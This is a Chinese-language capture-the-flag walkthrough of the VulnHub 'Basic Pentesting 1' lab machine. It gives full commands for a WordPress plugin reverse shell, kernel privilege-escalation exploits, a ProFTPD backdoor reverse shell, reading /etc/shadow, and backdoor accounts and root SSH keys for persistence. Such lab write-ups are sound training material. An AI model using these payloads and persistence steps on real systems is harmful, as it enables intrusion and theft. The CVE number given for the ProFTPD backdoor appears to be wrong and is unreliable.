靶场链接 :https://www.vulnhub.com/entry/basic-pentesting-1,216/
目标环境 :192.168.198.145 (Ubuntu 16.04.3 LTS, 内核 4.10.0-28-generic)
攻击机:Kali Linux (IP: 192.168.198.143)
1. 信息收集与突破口
- 端口扫描 :
nmap -O -sV 192.168.198.145发现 21(ProFTPD 1.3.3c)、22(SSH)、80(Apache 2.4.18)。 - 目录爆破 :
dirb http://192.168.198.145发现/secret/目录,进而定位 WordPress 安装在/secret/下。 - 漏洞扫描 :AWVS 发现
/secret/wp-login.php存在弱口令admin / admin。
关键入口:WordPress 后台管理权限 → 通过插件上传功能获得代码执行能力。
2. 获得初始 Shell (Meterpreter)
2.1 生成恶意插件并打包
使用 msfvenom 生成 PHP Meterpreter payload:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.198.143 LPORT=8888 -o shell.php
重要 :WordPress 插件必须包含有效的插件头,否则上传时会提示"没有找到有效的插件"。在 shell.php 的 <?php 后添加如下注释:
/**
* Plugin Name: Evil Shell
* Description: Meterpreter reverse shell
* Version: 1.0
* Author: Attacker
*/
然后将 shell.php 打包为 evil.zip。
2.2 上传插件并激活
- 登录 WordPress 后台 (
http://192.168.198.145/secret/wp-login.php) 用户名admin,密码admin。 - 导航至 Plugins → Add New → Upload Plugin ,选择
evil.zip并安装,激活插件。
2.3 开启 Metasploit 监听并触发
msfconsole -q
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.198.143
set LPORT 8888
exploit -j
访问 http://192.168.198.145/secret/ 触发 Payload,获得 Meterpreter 会话 (用户 www-data)。
常见卡点 #1:插件上传失败
现象:"该软件包无法安装。没有找到有效的插件。"
原因:zip 内的 PHP 文件缺少 WordPress 插件头部注释。
解决:在文件开头添加 /** Plugin Name: xxx */ 格式的注释块。
常见卡点 #2:端口 8888 已被占用
报错:Rex::BindFailed: address already in use
解决:lsof -i :8888 找到 PID,kill -9 PID 释放端口,重新启动 handler。
3. 提权过程:从 www-data 到 root
目标系统:Ubuntu 16.04.3,内核 4.10.0-28,GLIBC 版本 2.23(较低)。当前用户 www-data,无 sudo 权限。
3.1 自动提权建议失败
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
输出:No suggestions available 并伴随大量 Ruby 异常。
原因 :当前 Meterpreter 是由 php/meterpreter_reverse_tcp payload 建立的,功能受限,无法执行本地漏洞扫描模块。
3.2 尝试 CVE-2017-16995 (eBPF) ------ 动态链接版本不兼容
在 Kali 上获取漏洞源码并编译:
searchsploit -m 45010
gcc 45010.c -o exploit
upload /root/exploit /tmp/
在目标机执行:./exploit 报错:
GLIBC_2.34 not found (required by ./exploit)
原因分析:Kali 系统的 GLIBC 版本较高(≥2.34),而目标 Ubuntu 16.04 仅支持 GLIBC_2.23,动态链接的二进制无法运行。
3.3 尝试 Dirty Cow (CVE-2016-5195) ------ 缺库及版本问题
searchsploit -m 40839
gcc -pthread 40839.c -o dirtycow
编译报错:undefined reference to `crypt',添加 -lcrypt 解决:gcc -pthread 40839.c -o dirtycow -lcrypt。
上传执行后仍然报错:XCRYPT_2.0 not found 以及 GLIBC_2.33 / 2.34 not found。
根本原因:同样因为编译环境 glibc/libcrypt 版本过高,不兼容老旧目标系统。
3.4 最终方案:在目标机上直接编译源码
检查目标机是否具备编译器:which gcc && gcc --version 返回 gcc 5.4.0,完美满足条件。
操作步骤:
-
将
45010.c源码上传到目标机的/tmp:upload /root/45010.c /tmp/ -
进入目标 shell:
shell -
编译并执行:
cd /tmp
gcc 45010.c -o exploit
chmod +x exploit
./exploit
成功获得 root shell,id 显示 uid=0(root) gid=0(root)。
核心经验 :当预编译二进制因 glibc 版本不兼容而失败时,上传源码到目标机本地编译 是最可靠的解决方式。也可以使用静态编译 gcc -static exploit.c -o exploit 生成不依赖外部 glibc 的二进制,但文件体积较大。
4. 踩坑汇总表
| 问题现象 | 根本原因 | 解决方案 |
|---|---|---|
| WordPress 插件上传失败 / 无效插件 | PHP 文件缺少插件头注释 | 在 <?php 后添加 /** Plugin Name: xxx */ |
| 拖拽/复制文件到虚拟机失败 | VMware Tools 功能故障 | 使用 python -m http.server 或 meterpreter upload |
| Metasploit 端口绑定失败 (already in use) | 残留监听进程占用端口 | lsof -i :port → kill -9 PID |
| 目标机无法 wget 下载 exploit | 网络隔离或防火墙限制 | 使用 meterpreter upload 本机文件 |
| 预编译二进制报 GLIBC 版本错误 | 编译环境 glibc 版本高于目标机 | 上传源码到目标机本地编译,或使用 gcc -static |
| Dirty Cow 编译报 undefined reference to crypt | 未链接 libcrypt 库 | 编译时加 -lcrypt 参数 |
| local_exploit_suggester 无结果 | php meterpreter 会话功能受限 | 手工利用漏洞,不依赖自动化模块 |
5. 缺失知识点与延伸补充
5.1 环境边界意识
- meterpreter 与 Kali 本地终端的区别 :在
meterpreter >提示符下只能执行 Metasploit 内置命令(upload,download,shell,ps等),不能直接运行searchsploit,gcc,wget等系统命令。这些命令必须在 Kali 本地终端中执行。 - 会话管理 :
sessions -i <id>切换会话,background将当前会话放到后台,jobs -K杀掉所有任务。
5.2 编译与跨环境兼容性
- 动态链接 vs 静态链接 :动态链接的二进制依赖于目标系统的共享库(如 libc.so.6)。不同 Linux 发行版或不同版本的 glibc 可能导致"版本未找到"错误。静态链接(
-static)将库直接嵌入可执行文件,提高兼容性,但体积较大。 - 常见编译参数 :
-pthread:链接 POSIX 线程库。-lcrypt:链接加密库(用于 crypt 函数)。-ldl:链接动态加载库。-static:静态链接。
- 交叉编译:若目标机架构不同(如 ARM),可使用交叉编译工具链。本例为 x86_64 相同架构,故直接编译即可。
- 检查目标机编译环境 :
which gcc,gcc --version,dpkg -l | grep build-essential。若无编译器且可联网,apt update && apt install gcc -y。
5.3 漏洞利用资源库使用技巧
searchsploit <关键词>:如searchsploit ubuntu 16.04 local,searchsploit -m 45010复制到当前目录。- 查看 exploit 源码注释:通常头部包含适用版本、编译方法、用法说明。例如 45010.c 明确注明
// Ubuntu 16.04 4.8.0-34-generic等。 - 常用提权漏洞编号:
- CVE-2017-16995 (eBPF) → 45010
- CVE-2016-5195 (Dirty Cow) → 40839 / 40616
- CVE-2017-1000112 (UFO) → 43127
- CVE-2021-3156 (sudo 溢出) → 49361
- CVE-2021-4034 (pwnkit) → 51206
5.4 提权后的基本后渗透操作
-
信息收集 :
cat /etc/passwd /etc/shadow history ip a ; route -n ps auxf find / -perm -4000 2>/dev/null -
持久化访问 :
- 添加 root 用户:
useradd -m -s /bin/bash backdoor; echo 'backdoor:pass123' | chpasswd; usermod -aG sudo backdoor - 添加 SSH 公钥:
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys - 创建定时任务(cron)反弹 shell。
- 添加 root 用户:
-
横向移动 :使用
nmap -sn 192.168.198.0/24扫描同网段存活主机,配合proxychains代理扫描内网服务。抓取密码哈希后用 John the Ripper 或 Hashcat 破解。
5.5 学习路线与实战思维
- 靶场练习:VulnHub 上的 Ubuntu 16.04 靶机(如 FristiLeaks, Mr-Robot, Raven)反复练习手工提权。
- 理解底层原理:ELF 文件格式、动态链接器 ld-linux、环境变量 LD_PRELOAD 劫持、SUID 机制。
- 后渗透框架 :Metasploit 的 post 模块(
linux/gather/hashdump,manage/sshkey_persistence)和Meterpreter脚本。 - 心理与流程 :
- 遇到错误逐条阅读输出,定位关键词(如
GLIBC,not found)。 - 分步验证:每次执行命令后立即
ls,pwd,id确认状态。 - 不要只依赖自动化工具,手工利用漏洞(如本地编译)往往是最终王牌。
- 遇到错误逐条阅读输出,定位关键词(如
6. 总结
本次渗透测试成功利用了 WordPress 弱口令进入后台,上传构造的恶意插件获得 www-data 初始 Shell。面对自动提权模块失效、预编译二进制因 glibc 版本不兼容而失败的情况,通过将 exploit 源码上传至目标机本地编译,最终利用 CVE-2017-16995 成功提权至 root。整个过程凸显了环境适配能力 和手工漏洞利用的重要性。
今后打算,加强对以下方面的练习:Linux 编译与库依赖、漏洞利用代码的搜索与解读、后渗透信息收集与持久化。反复在靶场中模拟类似场景,将逐步形成独立的渗透思维。
后续
渗透补充:IP 变更导致会话中断,ProFTPD 后门紧急接管
前面通过 WordPress 弱口令上传插件获得 Meterpreter 会话,并成功利用 CVE-2017-16995 提权至 root。但随后靶机 IP 从 192.168.198.145 变更为 192.168.198.146,导致原有会话断开,SSH 公钥注入尚未完成。后利用利用备用路径(ProFTPD 1.3.3c 后门)重新获得 root shell 并建立持久化 SSH 后门。
1. 会话中断原因分析
- 靶机使用 DHCP 动态获取 IP,重启或网络重置后 IP 发生变化。
- Meterpreter 会话基于 TCP 连接,IP 变更后连接自然失效。
- 当时尚未完成 SSH 公钥注入,因此无法直接 SSH 登录。
- WordPress 入口出现空白页(可能 PHP 错误或插件被删),无法快速恢复 Meterpreter。
教训:拿到 root 后第一件事应当是建立持久化后门(SSH 公钥、计划任务等),避免因 IP 变化或进程死亡而失去控制权。
2. 备选路径:ProFTPD 1.3.3c 后门漏洞 (CVE-2010-4221)
2.1 漏洞回顾
在最初的信息收集阶段,nmap 扫描结果已经显示目标开放 21 端口,且服务版本为 ProFTPD 1.3.3c:
21/tcp open ftp ProFTPD 1.3.3c
该版本曾在官方源码中被植入后门,攻击者无需认证,只需发送特定命令 HELP ACIDBITCHEZ 即可获得远程 root shell。
2.2 利用步骤
使用 Metasploit 的专用模块:
msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOST 192.168.198.146
RHOST => 192.168.198.146
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set PAYLOAD cmd/unix/reverse_perl
PAYLOAD => cmd/unix/reverse_perl
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 192.168.198.143
LHOST => 192.168.198.143
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LPORT 4444
LPORT => 4444
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run
2.3 执行结果
[*] Started reverse TCP handler on 192.168.198.143:4444
[*] 192.168.198.146:21 - Sending Backdoor Command
[*] Command shell session 1 opened (192.168.198.143:4444 -> 192.168.198.146:41798) at 2026-06-09 01:50:45 -0400
成功获得一个 root 权限的命令行 shell(非 meterpreter)。
3. 建立 SSH 持久化后门
由于当前 shell 不稳定(依赖 Metasploit 会话),立刻注入 SSH 公钥实现长期稳定访问。
3.1 在 Kali 上准备 SSH 公钥
# 查看已有公钥
cat ~/.ssh/id_rsa.pub
# 若没有,生成密钥对
ssh-keygen -t rsa -b 4096
3.2 在目标 shell 中写入公钥
进入 session 1 并执行:
sessions -i 1
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
3.3 验证 SSH 登录
在 Kali 中测试:
ssh root@192.168.198.146
首次连接需接受主机密钥,之后成功登录:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64)
root@vtcsec:~#
持久化后门建立完成。即使 IP 再次变化,只要扫描到 22 端口即可通过公钥登录。
4. 为何不继续使用 WordPress 路径?
- 登录页面
/secret/wp-login.php变为空白(可能 PHP 错误、数据库连接失败或插件被删)。 - 原有恶意插件可能已被清理,重新上传需要再次登录后台,但空白页导致无法操作。
- ProFTPD 漏洞更直接,无需依赖 Web 环境,且直接获得 root。
5. 关于域名探测
在整个渗透过程中,未发现目标绑定的域名 。访问 IP 即可直接响应,无 HTTP 重定向或虚拟主机配置。使用 nslookup 192.168.198.146 或 dig -x 192.168.198.146 均未返回 PTR 记录。因此后续所有操作均基于 IP 地址进行。
6. 后续操作摘要
- 收集系统信息:
uname -a、cat /etc/os-release、id确认 root。 - 抓取敏感文件:
/etc/shadow中 marlinspike 用户的 SHA-512 哈希,可用于离线破解。 - 内网探测:
nmap -sn 192.168.198.0/24扫描同网段存活主机。 - 维持访问:除 SSH 公钥外,还可添加隐藏用户或定时反弹任务。
7. 经验总结
| 关键点 | 教训 |
|---|---|
| IP 动态变更 | 持久化后门必须在拿到 root 后立即完成,不可拖延。 |
| 备用路径的重要性 | 信息收集阶段应记录所有服务版本,ProFTPD 后门成为救场关键。 |
| SSH 公钥注入 | 比 Meterpreter 会话更稳定,不依赖特定端口和进程。 |
| 域名探测 | 若目标无域名,直接使用 IP 进行攻击即可,不影响后续。 |
补充:本次成功利用 ProFTPD 漏洞完全基于最初 nmap 扫描发现的服务信息。这也再次证明,渗透测试中全面、准确的端口与版本识别是后续所有攻击的基石。
记录时间:2026-06-09 | 攻击机:Kali 192.168.198.143 | 目标:192.168.198.146 (Ubuntu 16.04)
完整攻击链路记录 | 关键突破:目标机本地编译绕过 glibc 不兼容 | 用于学习和复盘